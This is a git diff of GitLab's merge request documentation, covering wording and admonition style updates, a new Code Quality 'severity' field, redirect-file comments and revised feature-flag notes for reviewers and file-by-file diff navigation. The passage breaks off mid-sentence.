--git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md index d65c005ee34..4e87876b036 100644 --- a/doc/user/project/merge_requests/cherry_pick_changes.md +++ b/doc/user/project/merge_requests/cherry_pick_changes.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -35,7 +35,7 @@ request thread crosslinking the new commit and the existing merge request. Each deployment's [list of associated merge requests](../../../api/deployments.md#list-of-merge-requests-associated-with-a-deployment) will include cherry-picked merge commits. -NOTE: **Note:** +NOTE: We only track cherry-pick executed from GitLab (both UI and API). Support for [tracking cherry-picked commits through the command line](https://gitlab.com/gitlab-org/gitlab/-/issues/202215) is planned for a future release. ## Cherry-picking a commit diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index d50056c9450..5a98338a81b 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -45,7 +45,7 @@ Watch a quick walkthrough of Code Quality in action: <iframe src="https://www.youtube.com/embed/B32LxtJKo9M" frameborder="0" allowfullscreen="true"> </iframe> </figure> -NOTE: **Note:** +NOTE: For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/). See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability). @@ -84,8 +84,8 @@ include: - template: Code-Quality.gitlab-ci.yml ``` -The above example will create a `code_quality` job in your CI/CD pipeline which -will scan your source code for code quality issues. The report will be saved as a +The above example creates a `code_quality` job in your CI/CD pipeline which +scans your source code for code quality issues. The report is saved as a [Code Quality report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality) that you can later download and analyze. @@ -131,18 +131,18 @@ stages: - test ``` -TIP: **Tip:** -This information will be automatically extracted and shown right in the merge request widget. +NOTE: +This information is automatically extracted and shown right in the merge request widget. -CAUTION: **Caution:** +WARNING: On self-managed instances, if a malicious actor compromises the Code Quality job -definition they will be able to execute privileged Docker commands on the runner +definition they could execute privileged Docker commands on the runner host. Having proper access control policies mitigates this attack vector by allowing access only to trusted actors. ### Disabling the code quality job -The `code_quality` job will not run if the `$CODE_QUALITY_DISABLED` environment +The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` environment variable is present. Please refer to the environment variables [documentation](../../../ci/variables/README.md) to learn more about how to define one. @@ -185,7 +185,7 @@ job1: - if: '$CI_COMMIT_TAG' # Run job1 in pipelines for tags ``` -To make these work together, you will need to overwrite the code quality `rules` +To make these work together, you need to overwrite the code quality `rules` so that they match your current `rules`. From the example above, it could look like: ```yaml @@ -228,6 +228,7 @@ with the following properties: | ---------------------- | -------------------------------------------------------------------------------------- | | `description` | A description of the code quality violation. | | `fingerprint` | A unique fingerprint to identify the code quality violation. For example, an MD5 hash. | +| `severity` | A severity string (can be `info`, `minor`, `major`, `critical`, or `blocker`). | | `location.path` | The relative path to the file containing the code quality violation. | | `location.lines.begin` | The line on which the code quality violation occurred. | @@ -238,6 +239,7 @@ Example: { "description": "'unused' is assigned a value but never used.", "fingerprint": "7815696ecbf1c96e6894b779456d330e", + "severity": "minor", "location": { "path": "lib/index.js", "lines": { @@ -248,22 +250,22 @@ Example: ] ``` -NOTE: **Note:** +NOTE: Although the Code Climate spec supports more properties, those are ignored by GitLab. -## Code Quality reports **(STARTER)** +## Code Quality reports -Once the Code Quality job has completed: +After the Code Quality job completes: -- The full list of code quality violations generated by a pipeline is shown in the - Code Quality tab of the Pipeline Details page. - Potential changes to code quality are shown directly in the merge request. The Code Quality widget in the merge request compares the reports from the base and head of the branch, - then lists any violations that will be resolved or created when the branch is merged. + then lists any violations that are resolved or created when the branch is merged. - The full JSON report is available as a [downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts) for the `code_quality` job. +- The full list of code quality violations generated by a pipeline is shown in the + Code Quality tab of the Pipeline Details page. **(STARTER)** ### Generating an HTML report @@ -341,13 +343,14 @@ is still used. This can be due to multiple reasons: - You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not - have anything to compare to yet, so no information can be displayed. Future merge - requests will have something to compare to. + have anything to compare to yet, so no information can be displayed. It only displays + after future merge requests have something to compare to. - Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports will not have anything to compare to. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), - nothing will be displayed. + nothing is displayed. - The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD setting can cause the Code Quality artifact(s) to expire faster than desired. +- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. - Large `codeclimate.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) that are [ignored by GitLab](#implementing-a-custom-tool). You can: diff --git a/doc/user/project/merge_requests/code_quality_diff.md b/doc/user/project/merge_requests/code_quality_diff.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/user/project/merge_requests/code_quality_diff.md +++ b/doc/user/project/merge_requests/code_quality_diff.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/container_scanning.md b/doc/user/project/merge_requests/container_scanning.md index a062731ea35..5d61f2b36e8 100644 --- a/doc/user/project/merge_requests/container_scanning.md +++ b/doc/user/project/merge_requests/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md' --- This document was moved to [another location](../../application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md index 0495c864335..5adc4ab6b6e 100644 --- a/doc/user/project/merge_requests/creating_merge_requests.md +++ b/doc/user/project/merge_requests/creating_merge_requests.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto description: "How to create Merge Requests in GitLab." disqus_identifier: 'https://docs.gitlab.com/ee/gitlab-basics/add-merge-request.html' @@ -46,7 +46,7 @@ the merge request.  -TIP: **Tip:** +NOTE: You can push one or more times to your branch in GitLab before creating the merge request. diff --git a/doc/user/project/merge_requests/csv_export.md b/doc/user/project/merge_requests/csv_export.md index 52c6f8a8d41..0de9f246ceb 100644 --- a/doc/user/project/merge_requests/csv_export.md +++ b/doc/user/project/merge_requests/csv_export.md @@ -1,7 +1,7 @@ --- stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Export Merge Requests to CSV **(CORE)** @@ -18,7 +18,7 @@ The following table shows what attributes will be present in the CSV. | Column | Description | |--------------------|--------------------------------------------------------------| -| MR ID | MR iid | +| MR ID | MR `iid` | | URL | A link to the merge request on GitLab | | Title | Merge request title | | State | Opened, Closed, Locked, or Merged | diff --git a/doc/user/project/merge_requests/dast.md b/doc/user/project/merge_requests/dast.md index 98a2906e560..37c0d5b4e37 100644 --- a/doc/user/project/merge_requests/dast.md +++ b/doc/user/project/merge_requests/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/dast/index.md' --- This document was moved to [another location](../../application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/dependency_scanning.md b/doc/user/project/merge_requests/dependency_scanning.md index bdc1c355016..dd5910121ed 100644 --- a/doc/user/project/merge_requests/dependency_scanning.md +++ b/doc/user/project/merge_requests/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/fail_fast_testing.md b/doc/user/project/merge_requests/fail_fast_testing.md index 60f81159394..80bdbce8d2c 100644 --- a/doc/user/project/merge_requests/fail_fast_testing.md +++ b/doc/user/project/merge_requests/fail_fast_testing.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/user/project/merge_requests/fast_forward_merge.md b/doc/user/project/merge_requests/fast_forward_merge.md index b021fa6f336..a89acff4bfc 100644 --- a/doc/user/project/merge_requests/fast_forward_merge.md +++ b/doc/user/project/merge_requests/fast_forward_merge.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index 462b8f68ece..cb95daa2cab 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference description: "Getting started with Merge Requests." --- @@ -111,22 +111,23 @@ It is also possible to manage multiple assignees: - When creating a merge request. - Using [quick actions](../quick_actions.md#quick-actions-for-issues-merge-requests-and-epics). -## Reviewer +### Reviewer > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216054) in GitLab 13.5. -> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-merge-request-reviewers). **(CORE ONLY)** +> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49787) on GitLab 13.7.1. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-merge-request-reviewers). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. Requesting a code review is an important part of contributing code. However, deciding who should review your code and asking for a review are no easy tasks. Using the "assignee" field for both authors and reviewers makes it hard for others to determine who's doing what on a merge request. -GitLab's Merge Request Reviewers easily allow authors to request a review as well as see the status of the +GitLab Merge Request Reviewers easily allow authors to request a review as well as see the status of the review. By selecting one or more users from the **Reviewers** field in the merge request's right-hand sidebar, the assigned reviewers will receive a notification of the request to review the merge request. @@ -134,23 +135,29 @@ This makes it easy to determine the relevant roles for the users involved in the To request it, open the **Reviewers** drop-down box to search for the user you wish to get a review from. -### Enable or disable Merge Request Reviewers **(CORE ONLY)** +#### Enable or disable Merge Request Reviewers **(CORE ONLY)** -Merge Request Reviewers is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. +Merge Request Reviewers is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can enable it. +can opt to disable it. To enable it: ```ruby +# For the instance Feature.enable(:merge_request_reviewers) +# For a single project +Feature.enable(:merge_request_reviewers, Project.find(<project id>)) ``` To disable it: ```ruby +# For the instance Feature.disable(:merge_request_reviewers) +# For a single project +Feature.disable(:merge_request_reviewers, Project.find(<project id>)) ``` ### Merge requests to close issues diff --git a/doc/user/project/merge_requests/img/project_merge_requests_list_view.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view.png Binary files differdeleted file mode 100644 index 2c86a1ad839..00000000000 --- a/doc/user/project/merge_requests/img/project_merge_requests_list_view.png +++ /dev/null diff --git a/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png Binary files differnew file mode 100644 index 00000000000..625d47b1142 --- /dev/null +++ b/doc/user/project/merge_requests/img/project_merge_requests_list_view_v13_5.png diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index 69276f0677b..6af6cad5cdd 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference --- diff --git a/doc/user/project/merge_requests/license_management.md b/doc/user/project/merge_requests/license_management.md index ed81eb8ca10..4c598d851a9 100644 --- a/doc/user/project/merge_requests/license_management.md +++ b/doc/user/project/merge_requests/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md' --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md index 3ee88275aac..82b5d67ba2b 100644 --- a/doc/user/project/merge_requests/load_performance_testing.md +++ b/doc/user/project/merge_requests/load_performance_testing.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -43,7 +43,7 @@ The key performance metrics that the merge request widget shows after the test c - TTFB P95: The 95th percentile for TTFB. - RPS: The average requests per second (RPS) rate the test was able to achieve. -NOTE: **Note:** +NOTE: If the Load Performance report has no data to compare, such as when you add the Load Performance job in your `.gitlab-ci.yml` for the very first time, the Load Performance report widget won't show. It must have run at least @@ -90,7 +90,7 @@ testing job in GitLab CI/CD. The easiest way to do this is to use the [`Verify/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml) template that is included with GitLab. -NOTE: **Note:** +NOTE: For large scale k6 tests you need to ensure the GitLab Runner instance performing the actual test is able to handle running the test. Refer to [k6's guidance](https://k6.io/docs/testing-guides/running-large-tests#hardware-considerations) for spec details. The [default shared GitLab.com runners](../../gitlab_com/#linux-shared-runners) @@ -119,7 +119,7 @@ An example configuration workflow: The above example creates a `load_performance` job in your CI/CD pipeline that runs the k6 test. -NOTE: **Note:** +NOTE: For Kubernetes setups a different template should be used: [`Jobs/Load-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Load-Performance-Testing.gitlab-ci.yml). k6 has [various options](https://k6.io/docs/using-k6/options) to configure how it will run tests, such as what throughput (RPS) to run with, diff --git a/doc/user/project/merge_requests/maintainer_access.md b/doc/user/project/merge_requests/maintainer_access.md index fe7e1f558c7..29afff289fd 100644 --- a/doc/user/project/merge_requests/maintainer_access.md +++ b/doc/user/project/merge_requests/maintainer_access.md @@ -3,3 +3,6 @@ redirect_to: 'allow_collaboration.md' --- This document was moved to [another location](allow_collaboration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md index 4b4c930c7af..01de98edeac 100644 --- a/doc/user/project/merge_requests/merge_request_approvals.md +++ b/doc/user/project/merge_requests/merge_request_approvals.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, concepts --- @@ -58,7 +58,7 @@ or choose more than one. Single approval rules are available in GitLab Starter a while [multiple approval rules](#multiple-approval-rules) are available in [GitLab Premium](https://about.gitlab.com/pricing/) and above. -NOTE: **Note:** +NOTE: On GitLab.com, you can add a group as an approver if you're a member of that group or the group is public. @@ -155,7 +155,7 @@ To add or edit the default merge request approval rule: 1. Click **Add approval rule**, or **Edit**. - Add or change the **Rule name**. - - Set the number of required approvals in **No. approvals required**. The minimum value is `0`. + - Set the number of required approvals in **Approvals required**. The minimum value is `0`. - (Optional) Search for users or groups that will be [eligible to approve](#eligible-approvers) merge requests and click the **Add** button to add them as approvers. Before typing in the search field, approvers will be suggested based on the previous authors of @@ -167,7 +167,7 @@ To add or edit the default merge request approval rule: Any merge requests that were created before changing the rules will not be changed. They will keep the original approval rules, unless manually [overridden](#editing--overriding-approval-rules-per-merge-request). -NOTE: **Note:** +NOTE: If a merge request targets a different project, such as from a fork to the upstream project, the default approval rules will be taken from the target (upstream) project, not the source (fork). @@ -191,7 +191,7 @@ the same steps as [Adding / editing a default approval rule](#adding--editing-a- MR approvals can be configured to be optional. This can be useful if you're working on a team where approvals are appreciated, but not required. -To configure an approval to be optional, set the number of required approvals in **No. approvals required** to `0`. +To configure an approval to be optional, set the number of required approvals in **Approvals required** to `0`. You can also set an optional approval rule through the [Merge requests approvals API](../../../api/merge_request_approvals.md#update-merge-request-level-rule), by setting the `approvals_required` attribute to `0`. @@ -252,7 +252,7 @@ one of the following is possible:  -NOTE: **Note:** +NOTE: The merge request author is not allowed to approve their own merge request if [**Prevent author approval**](#allowing-merge-request-authors-to-approve-their-own-merge-requests) is enabled in the project settings. @@ -273,7 +273,7 @@ Regardless of the approval rules you choose for your project, users can edit the request, overriding the rules you set as [default](#adding--editing-a-default-approval-rule). To prevent that from happening: -1. Uncheck the **Can override approvers and approvals required per merge request** checkbox. +1. Uncheck the **Allow overrides to approval lists per merge request (MR).** checkbox. 1. Click **Save changes**. #### Resetting approvals on push @@ -282,11 +282,11 @@ You can force all approvals on a merge request to be removed when new commits ar pushed to the source branch of the merge request. If disabled, approvals will persist even if there are changes added to the merge request. To enable this feature: -1. Check the **Remove all approvals in a merge request when new commits are pushed to its source branch** +1. Check the **Require new approvals when new commits are added to an MR.** checkbox. 1. Click **Save changes**. -NOTE: **Note:** +NOTE: Approvals do not get reset when [rebasing a merge request](fast_forward_merge.md) from the UI. However, approvals will be reset if the target branch is changed. @@ -298,7 +298,7 @@ By default, projects are configured to prevent merge requests from being approve their own authors. To change this setting: 1. Go to your project's **Settings > General**, expand **Merge request approvals**. -1. Uncheck the **Prevent approval of merge requests by merge request author** checkbox. +1. Uncheck the **Prevent MR approval by the author.** checkbox. 1. Click **Save changes**. Note that users can edit the approval rules in every merge request and override pre-defined settings unless it's set [**not to allow** overrides](#prevent-overriding-default-approvals). @@ -310,14 +310,14 @@ Note that users can edit the approval rules in every merge request and override You can prevent users that have committed to a merge request from approving it. To enable this feature: -1. Check the **Prevent approval of merge requests by their committers** checkbox. +1. Check the **Prevent MR approvals from users who make commits to the MR.** checkbox. 1. Click **Save changes**. #### Require authentication when approving a merge request > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5981) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0. -NOTE: **Note:** +NOTE: To require authentication when approving a merge request, you must enable **Password authentication enabled for web interface** under [sign-in restrictions](../../admin_area/settings/sign_in_restrictions.md#password-authentication-enabled). in the Admin area. @@ -327,7 +327,7 @@ the approval. This enables an Electronic Signature for approvals such as the one by [CFR Part 11](https://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?CFRPart=11&showFR=1&subpartNode=21:1.0.1.1.8.3)). To enable this feature: -1. Check the **Require user password to approve** checkbox. +1. Check the **Require user password for approvals.** checkbox. 1. Click **Save changes**. ### Security approvals in merge requests **(ULTIMATE)** diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md index bca9df9ae2b..4a596ed6139 100644 --- a/doc/user/project/merge_requests/merge_request_dependencies.md +++ b/doc/user/project/merge_requests/merge_request_dependencies.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -15,7 +15,7 @@ Merge request dependencies allows a required order of merging between merge requests to be expressed. If a merge request "depends on" another, then it cannot be merged until its dependency is itself merged. -NOTE: **Note:** +NOTE: Merge requests dependencies are a **PREMIUM** feature, but this restriction is only enforced for the dependent merge request. A merge request in a **CORE** or **STARTER** project can be a dependency of a **PREMIUM** merge request, but not diff --git a/doc/user/project/merge_requests/merge_request_discussion_resolution.md b/doc/user/project/merge_requests/merge_request_discussion_resolution.md index a554d727ca4..f8d15f31875 100644 --- a/doc/user/project/merge_requests/merge_request_discussion_resolution.md +++ b/doc/user/project/merge_requests/merge_request_discussion_resolution.md @@ -3,3 +3,6 @@ redirect_to: '../../discussions/index.md' --- This document was moved to [another location](../../discussions/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_when_build_succeeds.md b/doc/user/project/merge_requests/merge_when_build_succeeds.md index e37dad098f1..48d32d2882f 100644 --- a/doc/user/project/merge_requests/merge_when_build_succeeds.md +++ b/doc/user/project/merge_requests/merge_when_build_succeeds.md @@ -5,3 +5,6 @@ redirect_to: 'merge_when_pipeline_succeeds.md' This document was moved to [merge_when_pipeline_succeeds](merge_when_pipeline_succeeds.md). >[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7135) by the "Rename MWBS service to Merge When Pipeline Succeeds" change. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md index 5151b28361a..b813e4f7d28 100644 --- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md +++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -35,6 +35,11 @@ is automatically merged. When the merge request is updated with new commits, the automatic merge is canceled to allow the new changes to be reviewed. +By default, all threads must be resolved before you see the **Merge when +pipeline succeeds** button. If someone adds a new comment after +the button is selected, but before the jobs in the CI pipeline are +complete, the merge is blocked until you resolve all existing threads. + ## Only allow merge requests to be merged if the pipeline succeeds You can prevent merge requests from being merged if their pipeline did not succeed diff --git a/doc/user/project/merge_requests/resolve_conflicts.md b/doc/user/project/merge_requests/resolve_conflicts.md index b6c7ad0ce75..99e70f35d6d 100644 --- a/doc/user/project/merge_requests/resolve_conflicts.md +++ b/doc/user/project/merge_requests/resolve_conflicts.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -22,7 +22,7 @@ for information on when this is available).  -NOTE: **Note:** +NOTE: GitLab resolves conflicts by creating a merge commit in the source branch that is not automatically merged into the target branch. This allows the merge commit to be reviewed and tested before the changes are merged, preventing diff --git a/doc/user/project/merge_requests/revert_changes.md b/doc/user/project/merge_requests/revert_changes.md index 6b302b0ff02..40a4631694b 100644 --- a/doc/user/project/merge_requests/revert_changes.md +++ b/doc/user/project/merge_requests/revert_changes.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, concepts --- @@ -12,12 +12,12 @@ by clicking the **Revert** button in merge requests and commit details. ## Reverting a merge request -NOTE: **Note:** +NOTE: The **Revert** button will only be available for merge requests created in GitLab 8.5 and later. However, you can still revert a merge request by reverting the merge commit from the list of Commits page. -NOTE: **Note:** +NOTE: The **Revert** button will only be shown for projects that use the merge method "Merge Commit", which can be set under the project's **Settings > General > Merge request**. [Fast-forward commits](fast_forward_merge.md) diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md index aef68e0e771..e2d6ba9ea1c 100644 --- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md +++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference --- @@ -18,7 +18,7 @@ View all the merge requests within a project by navigating to **Project > Merge When you access your project's merge requests, GitLab will present them in a list, and you can use the tabs available to quickly filter by open and closed. You can also [search and filter the results](../../search/index.md#filtering-issue-and-merge-request-lists). - + ## View merge requests for all projects in a group @@ -78,10 +78,7 @@ Click **Expand file** on any file to view the changes for that file. ### File-by-file diff navigation > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222790) in GitLab 13.2. -> - It's deployed behind a feature flag, enabled by default. -> - It's recommended for production use. -> - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation). +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229848) in GitLab 13.7. For larger merge requests it might sometimes be useful to review single files at a time. To enable, from your avatar on the top-right navigation bar, click **Settings**, and go to **Preferences** on the left @@ -92,26 +89,16 @@ From there, when reviewing merge requests' **Changes** tab, you will see only on  -#### Enable or disable file-by-file diff navigation **(CORE ONLY)** +From [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/233898) onwards, if you want to change +this behavior, you can do so from your **User preferences** (as explained above) or directly in a +merge request: -File-by-file diff navigation is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it for your instance. +1. Go to the merge request's **Changes** tab. +1. Click the cog icon (**{settings}**) to reveal the merge request's settings dropdown. +1. Select or deselect the checkbox **Show one file at a time** to change the setting accordingly. -To enable it: - -```ruby -# Instance-wide -Feature.enable(:view_diffs_file_by_file) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:view_diffs_file_by_file>) -``` +This change overrides the choice you made in your user preferences and persists until you clear your +browser's cookies or change this behavior again. ### Merge requests commit navigation @@ -145,7 +132,7 @@ specific commit page.  -TIP: **Tip:** +NOTE: You can append `?w=1` while on the diffs page of a merge request to ignore any whitespace changes. @@ -213,7 +200,7 @@ If there's an [environment](../../../ci/environments/index.md) and the applicati successfully deployed to it, the deployed environment and the link to the Review App will be shown as well. -NOTE: **Note:** +NOTE: When the default branch (for example, `main`) is 